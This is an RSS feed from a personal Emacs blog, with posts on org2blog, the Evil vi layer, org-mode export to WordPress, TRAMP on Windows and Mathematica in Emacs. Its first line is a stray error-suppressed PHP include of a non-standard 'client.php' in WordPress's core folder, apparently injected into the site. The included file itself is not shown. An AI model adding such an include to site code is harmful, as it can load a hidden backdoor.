@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Posts technical---or quite simplistic &#187; emacs</title>
	<atom:link href="http://dnquark.com/blog/tag/emacs/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 04 Jun 2012 12:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Org2blog setup miscellany</title>
		<link>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/</link>
		<comments>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/#comments</comments>
		<pubDate>Tue, 21 Feb 2012 05:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=284</guid>
		<description><![CDATA[The other day I had to spend some time figuring out how to do the following things in org2blog: display LaTeX properly embed YouTube videos clear org2blog keybindings All are very easy, but took a little bit of digging, so here it is recorded for posterity. First, there is a plethora of LaTeX plugins for [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I had to spend some time figuring out how to do the following things in org2blog: </p>
<ul>
<li>display LaTeX properly </li>
<li>embed YouTube videos </li>
<li>clear org2blog keybindings </li>
</ul>
<p> All are very easy, but took a little bit of digging, so here it is recorded for posterity. </p>
<p> First, there is a plethora of LaTeX plugins for WordPress. I favor the ones that use MathJax; after all, we live in the year 2012. Converting LaTeX to images is <i>so</i> 1990s. For MathJax support, you can use the <a href="http://wordpress.org/extend/plugins/latex/">excellent plugin</a> by zhiqiang.  Note that the syntax for inline vs display formulas is slightly different than what one might be used to (note the exclamation marks).  On the org2blog side, you have to make sure to set </p>
<p> <code>(setq org2blog/wp-use-wp-latex nil)</code> </p>
<p> otherwise, the LaTeX syntax generated is incompatible with the plugin. </p>
<p> YouTube videos can be embedded using the <a href="http://wordpress.org/extend/plugins/youtube-embed/other_notes/">Artiss youtube embed plugin</a>; in the org2blog you have to specify something like </p>
<pre class="example">
#+BEGIN_HTML
[shortcode surrounding youtube video code, as per the Artiss docs]
#+END_HTML
</pre>
<p> Finally, the default org2blog bindings are non-standards-compliant in that they use the <code>C-c [letter]</code> keys, which are reserved for the user. In particular, the bindings were interfering with parts of my setup. The solution was to clear the bindings and define my own.  Clearing the bindings takes the following form: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(add-hook 'org2blog/wp-mode-hook
          '(lambda () (setq minor-mode-map-alist
                       (assq-delete-all 'org2blog/wp-mode minor-mode-map-alist))))</pre>
<p> Overall, I am very happy with org2blog. It allows me to blog right from within my preferred computing / brainstorming / writing environment. I like to think that I am <i>not</i> one of those Emacs users that tries to put every aspect of his or her life in some Emacs buffer somewhere, but this little lifehack is just too sensible to ignore. </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Emacs + Evil = ecumenicalism</title>
		<link>http://dnquark.com/blog/2012/02/emacs-evil-ecumenicalism/</link>
		<comments>http://dnquark.com/blog/2012/02/emacs-evil-ecumenicalism/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 05:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=251</guid>
		<description><![CDATA[Early on in the history of the editor wars, adherents of Emacs banded together to form a religion. As a result of this ecclesiastical schism, vi came to be known as "the editor of the beast". It comes as no surprise that something denounced by a particular religious sect turns out, in reality, to be [...]]]></description>
			<content:encoded><![CDATA[<p>Early on in the history of the <a href="http://en.wikipedia.org/wiki/Editor_wars">editor wars</a>, adherents of Emacs banded together to form a religion. As a result of this ecclesiastical schism, vi came to be known as "the editor of the beast". It comes as no surprise that something denounced by a particular religious sect turns out, in reality, to be very awesome, useful, and generally good for society. </p>
<p> I am talking, of course, about the power of modal editing.   </p>
<p> The ubiquitous, second-nature process of reading and writing belies the fact that working with text is a subtle, complex, and multifaceted task. Moreover, in our interactions with text we typically spend the majority of the time reading, searching, and editing. This is doubly true for structured text, such as Wikipedia markup or computer programs. Key-chord-based text editors make this process needlessly slow and inconvenient. </p>
<p> But this post isn't just another vi/Vim paean.  This post is about <a href="http://www.emacswiki.org/emacs/Evil">Evil</a>, the Extensible Vi Layer for Emacs written by Frank Fischer and Vegard Øye.   It allows to combine the incredible power of Emacs with the ergonomics, terseness, and efficiency of Vim, and if you are an Emacs user, you should <a href="http://www.emacswiki.org/emacs/Evil">check it out</a>.  If you are a Vim user, here's your chance to switch to a better editor without having to retrain the muscle memory.    </p>
<p> Currently, most Evil users seem to come from the Vim camp. As a result, Evil's defaults skew towards Vim behavior.  This makes it somewhat difficult to adopt for us Emacs users: we have to face the double task of learning Vim, as well as figuring out how to make the modal editing paradigm work smoothly with the existing Emacs usage patterns.  As someone that has done this journey, I would like to share some tips. </p>
<p> So let's assume you successfully installed Evil.  Great!  Now, what exactly did you get yourself into?  Well, effectively, all Evil does is redefine the key bindings depending on the context, or "state".  As a user, you will primarily deal with three states: normal (for navigating/editing), insert (for typing characters), and motion (used for read-only buffers such as help).  There is also the Emacs state, which simply gives you familiar Emacs behavior, the same as what you'd get if you turned off Evil. </p>
<p> One option, therefore, is to use Evil's Emacs state as a default, using <code>C-z</code> to toggle between it and the normal state. However, I don't recommend this approach, as one would be tempted to revert to old Emacs habits, thereby missing 90% of the awesomeness Evil provides.  Let's just plunge in: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setq evil-default-state 'normal)</pre>
<p> Now do a Google search for a good Vim tutorial, and experiment lots!  </p>
<div id="outline-container-1" class="outline-2">
<h2 id="sec-1">Issues you might encounter as an Emacs user</h2>
<div class="outline-text-2" id="text-1">    </div>
<div id="outline-container-1-1" class="outline-3">
<h3 id="sec-1-1">Insert state clobbers some useful Emacs keybindings</h3>
<div class="outline-text-3" id="text-1-1">
<p> The solution to this is to clear the insert state keymap, leaving you with unadulterated Emacs behavior.  You might still want to poke around the keymap (defined in <code>evil-maps.el</code>) and see if you want to salvage some useful insert state command by rebinding them to keys of your liking. Also, you need to bind <code>ESC</code> to putting you back in normal mode.  So, try using this code. With it, I have no practical need to ever switch to Emacs state. </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setcdr evil-insert-state-map nil)
(define-key evil-insert-state-map
  (read-kbd-macro evil-toggle-key) 'evil-emacs-state)</pre>
</p></div>
</p></div>
<div id="outline-container-1-2" class="outline-3">
<h3 id="sec-1-2">I want the keybinding <i>X</i> to work in Evil!</h3>
<div class="outline-text-3" id="text-1-2">
<p> You can always override or add bindings to any Evil state.  Just use something like this: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(define-key evil-normal-state-map &quot;\C-r&quot; 'isearch-backward)
(define-key evil-normal-state-map &quot;\C-e&quot; 'evil-end-of-line)
(define-key evil-motion-state-map &quot;\C-e&quot; 'evil-end-of-line)</pre>
</p></div>
</p></div>
<div id="outline-container-1-3" class="outline-3">
<h3 id="sec-1-3">Evil bindings for key <i>X</i> shadow the default bindings in mode <i>Y</i></h3>
<div class="outline-text-3" id="text-1-3">
<p> A common culprit here is the <code>return</code> key, which is ordinarily bound to <code>evil-ret</code> (a command that, as of this writing, doesn't know about what return is supposed to do in a current mode). </p>
<p> A crude but effective solution is to change Evil bindings on a per-state, per-mode basis, like so: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(evil-declare-key 'motion completion-list-mode-map (kbd &quot;&lt;return&gt;&quot;) 'choose-completion)
(evil-declare-key 'motion completion-list-mode-map (kbd &quot;RET&quot;) 'choose-completion)
(evil-declare-key 'motion browse-kill-ring-mode-map (kbd &quot;&lt;return&gt;&quot;) 'browse-kill-ring-insert-and-quit)
(evil-declare-key 'motion browse-kill-ring-mode-map (kbd &quot;RET&quot;) 'browse-kill-ring-insert-and-quit)
(evil-declare-key 'motion occur-mode-map (kbd &quot;&lt;return&gt;&quot;) 'occur-mode-goto-occurrence)
(evil-declare-key 'motion occur-mode-map (kbd &quot;RET&quot;) 'occur-mode-goto-occurrence)</pre>
<p> Note that I am using both the <code>RET</code> and <code>&lt;return&gt;</code> forms to make sure the key works both in terminal and under X. </p>
<p> This issue becomes more tricky in "read-only" modes that use letter keys for navigation (e.g. info, dired, ibuffer). It's not obvious to me what the best practices are for such modes. Should the Emacs bindings shadow Evil normal state? Does insert or normal state make more sense as the default? Currently, I don't have clear-cut answers. </p>
</p></div>
</p></div>
<div id="outline-container-1-4" class="outline-3">
<h3 id="sec-1-4">I don't want Evil to ever touch keybinding <i>X</i></h3>
<div class="outline-text-3" id="text-1-4">
<p> This can too be arranged!  Define the following function: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(defun evil-undefine ()
 (interactive)
 (let (evil-mode-map-alist)
   (call-interactively (key-binding (this-command-keys)))))</pre>
<p> Now, to make sure that Evil's normal state never touches <code>TAB</code>, just wire this fall-through binding like so: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(define-key evil-normal-state-map (kbd &quot;TAB&quot;) 'evil-undefine)</pre>
</p></div>
</p></div>
<div id="outline-container-1-5" class="outline-3">
<h3 id="sec-1-5">Mode <i>X</i> should start in normal state, but mode <i>Y</i> should start in insert state</h3>
<div class="outline-text-3" id="text-1-5">
<p> Use <code>evil-set-initial-state</code>: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(evil-set-initial-state mode-x 'normal)
(evil-set-initial-state mode-y 'insert)</pre>
</p></div>
</p></div>
<div id="outline-container-1-6" class="outline-3">
<h3 id="sec-1-6">Doing a copy via M-w loses a character</h3>
<div class="outline-text-3" id="text-1-6">
<p> If you are running Emacs 24, see if you are being affected by <a href="https://bitbucket.org/lyro/evil/issue/110/kill-ring-save-doesnt-work-properly-in">this bug</a>. </p>
</p></div>
</p></div>
<div id="outline-container-1-7" class="outline-3">
<h3 id="sec-1-7">My selection is off by a character</h3>
<div class="outline-text-3" id="text-1-7">
<p> This can be somewhat subtle, as Emacs and Vim have different defaults regarding the visual/transient mark.  In particular, in Emacs, the last selected character is always the one before the point.  This makes operating on text from left to right and from right to left asymmetrical: if you wanted to select the string <code>123</code>, and your cursor is on the 1, you press <code>C-SPC,C-3,C-f</code>.  However, if your cursor is on the 3, you <i>first have to move it past the 3</i>, and only then do <code>C-SPC,C=3,C-b</code>.  In Vim, on the other hand, the last selected character is always under point, so you'd just do <code>v2l</code> if the cursor is no the 1, or <code>v2h</code> if the cursor is on the 3.  The fact that in Emacs, you always deal with this asymmetry, whether you are aware of it or not, can lead to selections (or, in general, cursor positioning) being off by a character when you use commands that are, conceptually, the same in Emacs and Vim, but differ in their treatment of character under point vs character before point.  The good news is that Evil provides the following setting, which might help with correct character selection at beginnings and ends of lines: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setq evil-want-visual-char-semi-exclusive t)</pre>
<p> You might also look into changing Vim's default behavior whereby the cursor moves back one space (although this behavior <a href="http://unix.stackexchange.com/questions/11402/why-does-esc-move-the-cursor-back-in-vim">makes a fair amount of sense</a>). For this, you could look into  </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setq evil-move-cursor-back nil) ;;and maybe also:
(setq evil-highlight-closing-paren-at-point-states nil) </pre>
<p> You could also try playing with <code>(setq evil-visual-char 'exclusive)</code>, but I personally see no good reason to use that setting.  In my own configuration, I just turned on <code>evil-want-visual-char-semi-exclusive</code> and it's been working well for me thus far. </p>
</p></div>
</p></div>
</p></div>
<div id="outline-container-2" class="outline-2">
<h2 id="sec-2">Favorite Vim / Evil usage patterns</h2>
<div class="outline-text-2" id="text-2">
<p> I will keep this section brief, since I am relatively new to the Vim way of editing text.  Here are a few things that I have found handy or elegant in my 1.5 months with Evil. Some of these are pretty trivial, and some have Emacs equivalents (either built-in or via add-on Elisp). However, everything just feels cleaner without having to press <code>C</code> or <code>M</code> all the time. </p>
</p></div>
<div id="outline-container-2-1" class="outline-4">
<h4 id="sec-2-1">Searching via <code>/</code></h4>
<div class="outline-text-4" id="text-2-1">
<p> We all know that isearch is the way to navigate text in Emacs buffers, and <code>/</code> is very similar to isearch. Because <code>/</code> is ergonomically superior to <code>C-s</code>, I find myself using the search-to-navigate paradigm much more than with my old Emacs setup. </p>
</p></div>
</p></div>
<div id="outline-container-2-2" class="outline-4">
<h4 id="sec-2-2">Block selection</h4>
<div class="outline-text-4" id="text-2-2">
<p> In Vim/Evil, <code>C-v</code> allows you to select rectangles and do things like insert or paste text before every line in a rectangle. In Emacs, CUA rectangle mode does something similar, but you have to enable it. In Evil, it comes built-in. </p>
</p></div>
</p></div>
<div id="outline-container-2-3" class="outline-4">
<h4 id="sec-2-3">Combining search, motion, deletion, and selection commands</h4>
<div class="outline-text-4" id="text-2-3">
<p> Such combinations are very powerful. Here are a few examples to give you a flavor of what I am talking about: </p>
<ul>
<li><code>d/foo[RET]</code>: deletes from point to string "foo" </li>
<li><code>dfa</code>: deletes from point to character "a", inclusive </li>
<li><code>cta</code>: deletes from point to character "a", exclusive, and puts you in   insert mode </li>
<li><code>viw</code>: selects inside word </li>
<li><code>vfa;</code>: selects from point until the second occurrence of char "a", inclusive   </li>
<li><code>yi)</code>: copy text inside parens </li>
<li><code>di"</code>: delete text inside double quotes </li>
</ul></div>
</p></div>
<div id="outline-container-2-4" class="outline-4">
<h4 id="sec-2-4">Operating on surrounding delimiters (quotes, parentheses, etc.)</h4>
<div class="outline-text-4" id="text-2-4">
<p> These are enabled by the port of Vim's surround plugin, available <a href="https://github.com/timcharper/evil-surround">here</a>. You can do things like change double quotes to single quotes via <code>cs"'</code>, surround words with HTML tags, and if you have selected some text, surround it with delimiters via e.g. <code>s)</code> or <code>s'</code>. </p>
</p></div>
</p></div>
<div id="outline-container-2-5" class="outline-4">
<h4 id="sec-2-5">Defining your own normal mode commands</h4>
<div class="outline-text-4" id="text-2-5">
<p> For instance, I have <code>gj</code> mapped to <code>org-goto</code> in org-mode, and <code>gb</code> mapped to <code>ido-switch-buffer</code>.  I like those way more than the original bindings. </p>
<p> One can take this idea further and create keymaps starting with a dedicated leader key (<code>,</code> has been suggested as a good leader key choice).   See <a href="https://gitorious.org/evil/evil/merge_requests/12">this discussion</a> for more insight into how one might do this via a plugin or Emacs built-in keymap functions.  </p>
</p></div>
</p></div>
</p></div>
<div id="outline-container-3" class="outline-2">
<h2 id="sec-3">Where to learn more</h2>
<div class="outline-text-2" id="text-3">
<p> Evil is a relatively new project, and resources online are somewhat sparse at the moment. Some of the useful resources out there are: </p>
<ul>
<li><a href="http://www.emacswiki.org/emacs/Evil">Evil on Emacswiki</a> </li>
<li><a href="http://blog.gmane.org/gmane.emacs.vim-emulation">Official mailing list</a>   </li>
<li>Michael Markert's <a href="https://github.com/cofi/dotfiles/blob/master/emacs.d/cofi-evil.el">Evil config file</a> is an excellent example of how one might   want to customize Evil bindings and behavior, and do so in a clean   manner. There are lots of goodies there, my favorite being a method to   dynamically change the look of the cursor based on the state (insert vs   normal). (Note that the code in that file sometimes relies on external utility functions.) </li>
<li>For a quick run-down of Evil's internals, consult the PDF or Info   documentation that comes with the code. </li>
</ul>
<p> I would have very much liked to include some Vim tutorials here, for the benefit of Emacs users, however, most of the materials that I have stumbled upon seem to be either too basic or too advanced.  If you have something that you like, please leave a comment! </p>
</p></div>
</p></div>
<div id="outline-container-4" class="outline-2">
<h2 id="sec-4">Conclusion</h2>
<div class="outline-text-2" id="text-4">
<p> Most of the choices we make result in imperfect compromises, which makes it easy to lapse into the "grass is greener" mentality. I am a lindy hopper that envies salsa dancers, and a Linux/Android user that evangelizes all things Apple. Up until recently, I've been an Emacs devotee that coveted modal editing. Today, however, my CapsLock key is mapped to ESC instead of Ctrl, and the world is a slightly more perfect place &ndash; all thanks to the powers of Evil. </p>
</div></div>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/emacs-evil-ecumenicalism/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Integrating org-mode HTML export with a WordPress theme</title>
		<link>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/</link>
		<comments>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/#comments</comments>
		<pubDate>Sat, 21 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=154</guid>
		<description><![CDATA[Org-mode exporting capabilities are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial. As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting. Luckily, the recipe for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://orgmode.org/manual/Exporting.html#Exporting">Org-mode exporting capabilities</a> are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial.  As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting.   </p>
<p> Luckily, the recipe for converting an org-exported HTML file into somethign that looks like an integral part of your blog turns out to take 4 easy steps. Let's assume that I'm in the <code>www/org/project/</code> directory, and the WordPress blog is in <code>www/blog/</code> directory. </p>
<ol>
<li>Make a new file, e.g. <code>project.php</code>, and start it with    </p>
<pre class="brush: php; light: true; title: ; notranslate">
&lt;?php
define('WP_USE_THEMES', false);
require('../../blog/wp-blog-header.php');
get_header();
?&gt;</pre>
</li>
<li>Paste in the contents of the &lt;style&gt; and &lt;script&gt; tags from the                                                                    org-exported HTML header                                                                                                        </li>
<li>Paste in the contents of the org-exported &lt;body&gt;                                                                                </li>
<li>Paste <code>&lt;?php get_footer(); ?&gt;</code> at the end of the file. </li>
</ol>
<p> You are done! You are free to mess with minor details (centering of the title, location of the org-exported postamble &ndash; sometimes it makes sense to move it into the contents div), but you've achieved the main goal: your spectacular analysis looks awesome.  <a href="http://dnquark.com/org/facemash/facemash.php">Here's an example of the above procedure in action!</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Org-mode as a blogging platform</title>
		<link>http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/</link>
		<comments>http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/</guid>
		<description><![CDATA[I first noticed that technology tends to come full circle the first time I saw a CD. It was hard to miss the cyclical progression from my parents' reel-to-reel magnetic tape recorder to LPs with fairy tales about Br'er Rabbit back to (comparatively) miniature tape cassettes with '90s Soviet pop and Madonna and, finally, to [...]]]></description>
			<content:encoded><![CDATA[<p>I first noticed that technology tends to come full circle the first time I saw a CD.  It was hard to miss the cyclical progression from my parents' reel-to-reel magnetic tape recorder to LPs with fairy tales about Br'er Rabbit back to (comparatively) miniature tape cassettes with '90s Soviet pop and Madonna and, finally, to a shiny disk which was just like an LP (except completely different).</p>
<p>The last time I mused about technology coming full circle was when I recently noticed the surging popularity of org-mode, which is essentially an add-on to a 30-year old text editing platform.</p>
<p>There are several reasons that Emacs/org-mode combination has such a wide appeal. Key among them is the fact that it provides a unified environment for notes, record-keeping, project-planning.  The  underlying format (plain text) guarantees ultimate portability, native presentation layer (in Emacs) is very simple yet very powerful, and HTML/LaTeX export functionality allows to share one's work easily.</p>
<p>Case in point: this post is being written in Emacs using the <a href="https://github.com/punchagan/org2blog">org2blog interface</a> to WordPress.  As of late, the amount of text in my *.org files and the amount of text on my blog have been, to put it mildly, incommensurate. Hopefully org/wordpress integration will help restore the balance to a more sensible level.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tramp now work in Emacs under Windows!</title>
		<link>http://dnquark.com/blog/2009/07/tramp-now-work-in-emacs-under-windows/</link>
		<comments>http://dnquark.com/blog/2009/07/tramp-now-work-in-emacs-under-windows/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 22:35:26 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=66</guid>
		<description><![CDATA[That was the final piece of the puzzle, the only major feature that was not working.  Now my Emacs environment is complete!  Hooray! As usual, all the information needed to get this running was out there, but poorly organized.  Basically, it comes down to the following two points: 1. NTEmacs can only use cygwin ssh-agent [...]]]></description>
			<content:encoded><![CDATA[<p>That was the final piece of the puzzle, the only major feature that was not working.  Now my Emacs environment is complete!  Hooray!</p>
<p>As usual, all the information needed to get this running was out there, but poorly organized.  Basically, it comes down to the following two points:<br />
1. NTEmacs can only use cygwin ssh-agent if launched from cygwin bash.  This is not a problem; under Windows I currently use the following VB script to launch:<br />
<code>WScript.CreateObject("WScript.Shell").Run "c:\cygwin\bin\bash -l -c /usr/bin/emacs", 0, false</code><br />
1a. Alternatively, one can use PuTTY with plink protocol and the PuTTY agent; search EmacsWiki for info on how to do this; <a href="http://www.jeremyenglish.org/docs/tramp_ntmacs.pdf">this PDF helps</a>.<br />
2. Assuming we are going the cygwin route, this is what's needed in .emacs<br />
<code>(require 'tramp)<br />
(setq tramp-default-method "ssh")<br />
(nconc (cadr (assq 'tramp-login-args (assoc "ssh" tramp-methods)))  '(("bash" "-i")))<br />
(setcdr (assq 'tramp-remote-sh (assoc "ssh" tramp-methods))  '("bash -i"))</code></p>
<p>This is it!</p>
<p>And now, for computing tweak of the day: I like to only press tab once in order to display candidate list in bash tab completion.  I think it makes significant usability difference.  Here's how to turn it on:<br />
<code>echo "set show-all-if-ambiguous on  # for single tab press completion" &gt;&gt; ~/.inputrc</code></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/tramp-now-work-in-emacs-under-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Grand Unified Theory of Emacs</title>
		<link>http://dnquark.com/blog/2009/07/the-grand-unified-theory-of-emacs/</link>
		<comments>http://dnquark.com/blog/2009/07/the-grand-unified-theory-of-emacs/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 09:33:22 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=63</guid>
		<description><![CDATA[I started playing around with running Mathematica inside Emacs.  Once I develop the set of Mathematica &#60;-&#62; Matlab interoperability scripts, this functionality will be invaluable.  An unexpected (pleasant) surprise was that Mathematica graphics is available at the console through Java -- you just have to load &#60;&#60;JavaGraphics`.  The graphics performance is slow as molasses on [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-64" title="Clipboard01" src="http://www.dnquark.com/blog/wp-content/uploads/2009/07/Clipboard011-300x194.png" alt="Clipboard01" width="300" height="194" />I started playing around with running Mathematica inside Emacs.  Once I develop the set of Mathematica &lt;-&gt; Matlab interoperability scripts, this functionality will be invaluable.  An unexpected (pleasant) surprise was that Mathematica graphics is available at the console through Java -- you just have to load &lt;&lt;JavaGraphics`.  The graphics performance is slow as molasses on my underpowered laptop, but it should be quite usable on a good workstation.</p>
<p>(Look, Ma!  No notebook!)</p>
<p>What's that, by the way?.. Is this the Matlab beam propagation code snippet ported to Mathematica?  Why, yes it is -- a direct translation done by Wolfram Research (although to be fair, it ended up being almost a direct translation of Matlab code).  This runs as fast as the Matlab version, but it's also a bit of a contrived example because the beam propagation in homogeneous space is of the form exp(i k z), and this can be efficiently computed with an outer product (Transpose[Outer[Times, z, kz]]] in this case).  In more complicated cases, Matlab uses meshgrid(), and I am not sure that Mathematica could compete in terms of speed.  Even if it does, I don't see a better way of doing things other than implement Matlab built-in constructs in Mathematica, which is kind of silly.  Thus, Matlab is still going to be the workhorse here.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/the-grand-unified-theory-of-emacs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
